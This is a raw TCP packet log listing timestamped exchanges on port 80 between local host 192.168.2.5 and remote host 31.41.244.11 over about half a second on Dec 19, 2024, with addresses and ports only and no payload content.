Dec 19, 2024 03:09:24.558830023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.559704065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.559771061 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.559781075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.559855938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.560740948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.560815096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.560866117 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.560923100 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.561686039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.561764956 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.561765909 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.561815023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.562589884 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.562649012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.562726974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.562788963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.563616991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.563767910 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.563823938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.564666986 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.564738989 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.564753056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.564809084 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.565687895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.565752983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.565788031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.565877914 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.566742897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.566807985 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.566848040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.567023039 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.567673922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.567735910 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.567806005 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.567955017 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.568731070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.568795919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.568922997 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.569075108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.569725990 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.569825888 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.569885015 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.570718050 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.570780039 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.570812941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.570864916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.571718931 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.571876049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.571930885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.572740078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.572808027 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.572873116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.572995901 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.573730946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.573793888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.573836088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.574071884 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.574723959 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.574830055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.574851990 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.574881077 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.575773001 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.575844049 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.575890064 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.576142073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.576823950 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.576915026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.576972008 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.577773094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.577826977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.577888966 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.577940941 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.578794003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.578855991 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.578921080 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.578977108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.579910040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.579946995 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.580018044 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.580797911 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.580877066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.580945969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.581003904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.581852913 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.581950903 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.581984043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.582186937 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.582784891 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.582854986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.721854925 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.721901894 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.722069979 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.722069979 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.722229004 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.722290993 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.722476006 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.722599983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.723267078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.723320961 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.723376989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.723423004 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.724332094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.724395990 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.724436998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.724486113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.725261927 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.725311995 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.725377083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.725423098 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.726298094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.726351976 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.726398945 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.726439953 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.727298975 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.727353096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.727396965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.727443933 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.728307962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.728367090 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.728508949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.728558064 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.729320049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.729370117 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.729476929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.729521990 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.730326891 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.730376959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.730465889 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.730511904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.731342077 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.731395006 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.731478930 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.731529951 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.732393026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.732460976 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.732527018 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.732578039 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.733377934 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.733428001 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.733544111 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.733597040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.734364986 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.734402895 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.734491110 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.734539986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.735445023 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.735505104 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.735543966 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.735599041 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.736443043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.736521006 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.736592054 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.736644030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.737447023 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.737531900 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.737596989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.737647057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.738444090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.738504887 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.738581896 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.738641024 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.739485979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.739542007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.739629030 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.739685059 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.740485907 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.740547895 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.740621090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.740681887 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.741524935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.741576910 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.741641045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.741694927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.742500067 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.742551088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.742630005 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.742682934 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.743580103 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.743633032 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.743637085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.743699074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.744528055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.744606018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.744647026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.744699955 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.745613098 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.745670080 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.745681047 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.745740891 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.746613026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.746666908 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.746675014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.746720076 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.747575998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.747637033 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.747678995 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.747740030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.748563051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.748648882 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.748694897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.748753071 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.749785900 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.749850988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.749893904 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.749950886 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.750576973 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.750658035 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.750705004 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.750763893 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.751624107 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.751677990 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.751758099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.751827002 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.752649069 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.752732992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.752856016 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.752918005 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.753640890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.753698111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.753767014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.753822088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.754631996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.754699945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.754760027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.754820108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.755666971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.755727053 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.755796909 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.755850077 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.756663084 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.756725073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.756803989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.756860971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.757675886 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.757730007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.757800102 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.757855892 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.758694887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.758754015 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.758800983 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.758856058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.759717941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.759787083 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.759830952 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.759887934 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.760757923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.760827065 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.760838985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.761019945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.761737108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.761812925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.761883974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.762047052 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.762727022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.762829065 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.762865067 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.762917042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.763770103 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.763835907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.763906956 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.763963938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.764795065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.764862061 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.764889956 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.764952898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.765829086 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.765906096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.765945911 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.766025066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.766793013 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.766851902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.766891003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.766944885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.767796993 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.767852068 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.767929077 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.768239975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.768897057 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.768996954 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.769052029 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.769810915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.769884109 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.769964933 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.770023108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.770823002 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.770879030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.770948887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.771119118 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.771888971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.771944046 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.771951914 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.771996975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.772878885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.772939920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.772999048 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.773053885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.773931980 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.773997068 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.774106026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.774163008 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.774957895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.775017023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.913842916 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.913919926 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.914048910 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.914050102 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.914249897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.914305925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.914393902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.914453030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.915261030 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.915391922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.915451050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.916260004 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.916307926 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.916383028 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.916429996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.917263985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.917313099 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.917382956 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.917429924 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.918284893 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.918332100 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.918415070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.918462038 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.919364929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.919392109 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.919440031 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.920448065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.920501947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.920542955 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.920588017 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.921657085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.921710968 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.921758890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.921857119 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.922647953 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.922700882 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.922744036 CET	80	49862	31.41.244.11	192.168.2.5
